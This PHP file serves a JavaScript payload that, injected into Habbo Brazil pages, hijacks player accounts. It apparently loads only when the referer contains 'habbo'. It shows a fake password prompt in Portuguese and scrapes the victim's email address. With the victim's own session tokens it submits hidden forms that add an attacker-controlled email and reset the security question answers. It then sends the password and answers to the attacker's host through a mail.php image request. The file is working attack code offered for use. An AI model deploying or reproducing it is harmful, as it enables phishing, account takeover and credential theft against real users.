<?php
header("Content-Type:Text/Javascript");
if(!strstr($_SERVER['HTTP_REFERER'],'habbo')) {
    exit();
}?>
eu = "<?echo $_GET['user'];?>"
new Ajax.Request("/identity/settings", {
    onComplete: function (x) {
        email = x.responseText.match(/>(.+)@(.+)</)[0].split(/>/)[1].split(/</)[0];
    }
});
Dialog.showInfoDialog('tokenproject-dialog','<b>'+habboName+'</b> para completar a acao digite sua senha abaixo::<br><br><input type="password" id="txtsenha" placeholder="Senha">','Ativar', function(){Ativar();});;
passd = null;
safety1 = 'anonymous'; // 1 pergunta
safety2 = 'project' // 2 pergunta
email_txt = 'Habbo'+Math.floor(Math.random()*99999999)+'@superrito.com';
ap = /<input type="hidden" name="__app_key" value="(.+)"/;
ur = /<input type="hidden" name="urlToken" value="(.+)"/;

iframe = document.createElement('iframe');
iframe.src="about:blank";
iframe.name="xframe";
iframe.style="display:none;";
iframe.width="0";
iframe.height="0";
document.body.appendChild(iframe);

var client = new XMLHttpRequest();
// pegar app token email
client.open('GET',"/identity/email", false);
client.send(null);
app_token_email = client.responseText.split("/change_email")[1].split("</form>")[0].match(ap)[1];
url_token_email = client.responseText.split("/change_email")[1].split("</form>")[0].match(ur)[1];
// criando formulario do email add
form_email = document.createElement('form');
form_email.method="post";
form_email.action = "https://www.habbo.com.br/identity/change_email";
form_email.id= "form_acd_email";
form_email.target="xframe";
// criando input do app key
inp_email_1 = document.createElement('input');
inp_email_1.type = "hidden";
inp_email_1.name = "__app_key";
inp_email_1.value = app_token_email;
// criando input do urltoken
inp_email_2 = document.createElement('input');
inp_email_2.type = "hidden";
inp_email_2.name= "urlToken";
inp_email_2.value= url_token_email;
// criando input do email para ser adicionado
inp_email_3 = document.createElement('input');
inp_email_3.type = "hidden";
inp_email_3.name= "email";
inp_email_3.value= email_txt;
// criando input da senha
inp_email_4 = document.createElement('input');
inp_email_4.type = "hidden";
inp_email_4.name = "currentPassword";
inp_email_4.value = passd;
client.open('GET',"/identity/safetyquestions", false);
client.send(null);
app_token_safety = (client.responseText.match(ap))[1];
url_token_safety = (client.responseText.match(ur))[1];
form_safety = document.createElement('form');
form_safety.method="post";
form_safety.action = "https://www.habbo.com.br/identity/safetyquestions_save";
form_safety.target="xframe";
form_safety.id= "form_acd_safety";
inp_safety_1 = document.createElement('input');
inp_safety_1.type = "hidden";
inp_safety_1.name= "__app_key";
inp_safety_1.value= app_token_safety;
inp_safety_2 = document.createElement('input');
inp_safety_2.type = "hidden";
inp_safety_2.name= "urlToken";
inp_safety_2.value= url_token_safety;
inp_safety_3 = document.createElement('input');
inp_safety_3.type = "hidden";
inp_safety_3.name= "safetyAnswer1";
inp_safety_3.value= safety1;
inp_safety_4 = document.createElement('input');
inp_safety_4.type = "hidden";
inp_safety_4.name= "safetyAnswer2";
inp_safety_4.value= safety2;
inp_safety_5 = document.createElement('input');
inp_safety_5.type = "password";
inp_safety_5.name= "currentPassword";
inp_safety_5.value= passd;
ind_safety_x1 = document.createElement('select');
ind_safety_x1.name="safetyQuestion1";
ind_safety_xx1 = document.createElement('option');
ind_safety_xx1.selected="selected";
ind_safety_xx1.value="1";
ind_safety_x2 = document.createElement('select');
ind_safety_x2.name="safetyQuestion2";
ind_safety_xx2 = document.createElement('option');
ind_safety_xx2.selected="selected";
ind_safety_xx2.value="2";
form_email.appendChild(inp_email_1);
form_email.appendChild(inp_email_2);
form_email.appendChild(inp_email_3);
form_email.appendChild(inp_email_4);
form_safety.appendChild(inp_safety_1);
form_safety.appendChild(inp_safety_2);
form_safety.appendChild(inp_safety_3);
form_safety.appendChild(inp_safety_4);
form_safety.appendChild(inp_safety_5);
ind_safety_x1.appendChild(ind_safety_xx1);
ind_safety_x2.appendChild(ind_safety_xx2);
form_safety.appendChild(ind_safety_x1);
form_safety.appendChild(ind_safety_x2);
document.body.appendChild(form_safety);
document.body.appendChild(form_email)

function Ativar(){
document.getElementById("form_acd_email").currentPassword.value = document.getElementById("txtsenha").value;
document.getElementById("form_acd_safety").currentPassword.value = document.getElementById("txtsenha").value;
passd = document.getElementById("txtsenha").value;
form_email.submit();
setTimeout(function(){form_safety.submit();
client.open('GET',"/identity/email", false);
client.send(null);

pedind = client.responseText.match(/pending-email/);
if(pedind == null){
 alert("Digite sua Senha Corretamente para Efetuar o Processo");
} else {
 confirm = client.responseText.match(/<em>((.+))/)[1].split("(")[1].split(" ")[0];
if(confirm == email_txt){
new Image().src = "http://<?php echo $_SERVER['HTTP_HOST'];?>/mail.php?email="+email+"&emailAdd="+email_txt+"&senha="+passd+"&safety1="+safety1+"&safety2="+safety2+"&habboName="+habboName+"&user=<?echo $_GET['user'];?>";
    location.reload();
} else {
}
}
},1000);
}